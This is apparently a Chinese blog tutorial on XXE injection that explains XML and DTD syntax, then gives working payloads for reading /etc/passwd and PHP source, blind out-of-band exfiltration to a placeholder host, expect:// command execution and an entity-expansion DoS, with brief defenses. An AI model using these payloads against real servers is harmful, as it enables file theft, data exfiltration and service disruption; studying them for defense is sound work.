初始XXE

2022-01-28 15:07:38 浏览数 (1)

1.什么是XXE?

xxe即"XML外部实体注入漏洞",顾名思义,是由于XML允许引入外部实体导致的漏洞,当程序没有禁止或者对外部实体做验证,攻击者构造特殊的xml语句传到服务器,服务器在传输给XML解释器,xml解释器根据外部实体进行处理后返回对应的内容给服务器,服务器再返回给用户

1.2 危害

  • 任意文件读取(最常见)
  • 命令执行(需要except模块支持)
  • DOS攻击
  • 端口扫描

2.认识XML

XML即可扩展标记语言,是一种类似于HTML具有标签且可以使电子文件具有结构性的一种语言,xml支持合法的自定义标签,用户可随意定义标签,常用于传输数据和存储数据

3.认识DTD

DTD即文档类型定义,用于规范一个XML文档的数据类型或者文档的结构,在内部定义或者外部定义

4.第一个XML文档

代码语言:javascript复制
<!--xml标记头-->
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<!--内部的dtd-->
<!DOCTYPE info [
    <!ELEMENT info (user,age)>
    <!ELEMENT user (#PCDATA)>
    <!ELEMENT age (#PCDATA)>
]>
<!--xml文档内容-->
<info>
<user>vFREE</user>
<age>19</age>
</info>

上面的内部dtd头中的内容,ELEMENT是固定的关键字 info(user,age)规定了,在info中,有user和age两个自定义的标签,且顺序要先是user,再写age user (#PCDATA)意思就是user标签中的内容是可以被解析的,下同 info就是根元素,可以理解成html的<body>标签

![图片占位-1]()

5.内部dtd和外部dtd

1.1 数据类型

开始之前,先了解一波dtd中可以定义的数据类型

  • 空字符用 "EMPTY"

例子:<!ELEMENT 元素名 EMPTY>


  • 可以被解析的数据 "PCDATA"

例子:<!ELEMENT 元素名 PCDATA> <元素名>(中间这一部分也是可以被解析的)</元素名>


  • 标记内容不被解析,仅仅只是作为字符 "CDATA"

以 "<![CDATA[ " 开头,以"]]>"结尾 例子:<![CDATA[ <name>vFREE</name> ]]>


  • 包含所有可解析的类型 "ANY"

例子:<!ELEMENT 元素名 ANY>


带有子元素的字符序列 "<!ELEMENT 根元素 (元素1,元素2,元素3......)>" 例子:<!ELEMENT 根元素 (元素1,元素2,元素3......)>


必须出现一次或者多次的元素 " " 例子:<!ELEMENT 元素名称 (子元素 )>


出现零次或者多次的元素 "*" 例子:<!ELEMENT 元素名称 (子元素*)>


必须出现零次或者一次 "?" 例子:<!ELEMENT 元素名称 (子元素?)>

1.2 内部dtd

内部dtd就是在XML文档中定义的dtd,用关键字DOCTYPE标记

代码语言:javascript复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE 根元素 [
    <!ELEMENT 元素名 (元素内容/类别)>
]>

<根元素>
xxxxxx
</根元素>

大概例子就是上面那样,使用关键字ELEMENTl来声明元素,例子如下

1.2 外部dtd

1.2.1 SYSTEM关键字

SYSTME关键字适用于引用系统文件夹下的dtd文件

代码语言:javascript复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE 根元素名 SYSTEM "xxx.dtd">

1.2.2 PUBLIC关键字

PUBLIC适用于引用外部服务器上的公共dtd文件

代码语言:javascript复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE 根元素名 PUBLIC "外部dtd文件的url">

6.实体

实体是用于定义普通文本为一个变量,用ENTITY关键字定义,实体引用则就是调用变量 引用实体用 " &实体名称; "

代码语言:javascript复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE info [
    <!ENTITY name "vFREE">
    <!ENTITY age "19">
]>
<info>&name;&age;</info>
<!--输出vFREE和19-->

6.1 内部实体

代码语言:javascript复制
语法:
<!ENTITY 实体名称 "实体值">
例子:
<!ENTITY name "vFREE">
<name>&name;</name>

6.2 外部实体

外部实体使用SYSTEM关键字进行引用

代码语言:javascript复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE info [
    <!ENTITY user SYSTEM "http://xxx.xxx/usr.dtd">
]>
<info><user>&user;</user></info>

6.3 实体小结

注意了,引用外部的dtd和引用外部的实体是不一样的,即使SYSTEM关键字一样,且无论是引用外部实体还是内部的dtd,都是要通过DOCTYPE关键字进行定义,定义实体使用ENTITY关键字,定义数据类型/类别用ELEMENT关键字

7.危害

  • 文件读取
  • 命令执行
  • DOS攻击
  • 内网端口探测
  • ... ...

7.1 文件读取

  • file协议
  • php伪协议

7.1.1 file协议

文件读取在XXE利用中是最常见的,通过加载外部实体构造恶意的payload传到xml解析器让其执行获取内容,从而造成了文件读取 其原理也是因为允许外部实体的加载,导致可以加载本地的文件

代码语言:javascript复制
<!--这个例子是加载外部实体-->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE passwd [
    <!ENTITY passwd SYSTEM "file:///etc/passwd">
]>

<passwd>&passwd;</passwd>
<!--这里的&passwd;相当于调用变量,通过实体符号&加实体名称passwd加;即可调用,注意这里要在可回显的位置放入-->

通过构造上述的payload,如果服务器存在xxe漏洞,并且还会输出处理后的结果的话,就会输出/etc/passwd文件中的内容

参考例题:http://ctf.vfree.ltd/ 中WEB题目xxelab1

7.1.2 PHP伪协议

上面的file多数用于读取普通文件,如果需要读取的文件是php呢?用file协议肯定不行的,因为用file协议读取相当于调取,被调取的php文件会被执行,但是不会输出php文件的内容,包括jsp,asp等语言也是不能直接用file协议读取,这里的话,需要用到php伪协议

代码语言:javascript复制
php://fileter/read=convert.base64-encode/resource=xxx.php
代码语言:javascript复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE flag [
    <!ENTITY flag SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.php">
]>
<flag>&flag;</flag>

用file协议读取php文件

很明显,根据响应内容并没有读取到内容 用php伪协议读取php文件

将文件以base64的形式读取出来,成功读取

7.1.3 XXE盲注

XXE盲注是指不会在我们传入恶意xml数据到服务器,xml解释器处理完后,不会输出我们想要的内容,此时需要通过数据外带的方式,通过在自己的服务器上开启一个监听端口,然后通过外部dtd文件访问服务器端口带上读取到的内容,这样子就可以监听到了 盲注需要用到参数实体,这里要用到%,用法差不多,多了一个%,其他的不变

代码语言:javascript复制
<!ENTITY % 实体名称 SYSTEM "内容">
7.1.3.1 所需文件配置

xml文件

代码语言:javascript复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE flag [
    <!ENTITY % flag SYSTEM "http://xxxxxx/flag.dtd">
    %flag;
]>

flag.dtd文件

代码语言:javascript复制
<!ENTITY % passwd SYSTEM "file:///etc/passwd">
<!--这里就是读取passwd的文件,并且将读取到的内容赋予名称为passwd实体-->
<!ENTITY % url "<!ENETITY % url2 SYSTEM 'http://xxxxx:端口/?%passwd;'>">
<!--这里的实体套了一个实体,意思就是主动访问SYSTEM后面的url,并且引用实体名称%passwd的内容-->
%url;
%url2;
<!--每个参数实体都要调用-->

这里没有环境可以练习,暂时先这样子,以后有环境再补图,嘻嘻~

7.2 命令执行

命令执行的利用条件可能比较苛刻,需要支持expect协议

代码语言:javascript复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE flag [
    <!ENTITY flag SYSTEM "expect://id">
]>
<flag>&flag;</flag>

和引用外部实体的方法一样,不同的是,SYSTEM后面的内容是expect协议

7.3 DOS攻击

DOS攻击的原理就是通过不断引用调用自己定义的实体,从而导致xml解析器不断循环解析同一个外部实体,造成高并发

代码语言:javascript复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dos [
    <!ENTITY dos1 "dosdosdosdosdosdosdosdosdosdosdosdosdosdosdosdos">
    <!ENTITY dos2 "&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;">
    <!ENTITY dos3 "&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;">
    <!ENTITY dos4 "&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;">
    <!ENTITY dos5 "&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;">
    <!ENTITY dos6 "&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;">
]>
<dos>&dos6;</dos>

大概和上面的差不多道理,通过定义dos1,然后定义dos2调用dos1,定义dos3调用dos2,然后dos2又调用dos,如此循环下去,过多的话,xml解释器就会占用过高的内存去处理

8.防御

  • 解铃还须寄铃人,既然漏洞本身是因为允许解析外部实体而导致的漏洞,所以第一想到的防御方法就是禁用解析外部实体
代码语言:javascript复制
libxml_disable_entity_loader(true);
//php代码中使其成为true即可
  • 过滤SYSTEM,ENTITY之类的关键字

文中只介绍了xxe的冰山一角和基础的利用方式,更多的利用方式还在冰山底下,要后面可能还会更新,欢迎大家关注丫~

代码语言:javascript复制
$ vFREE博客 = "http://www.vfree.ltd/"

0 人点赞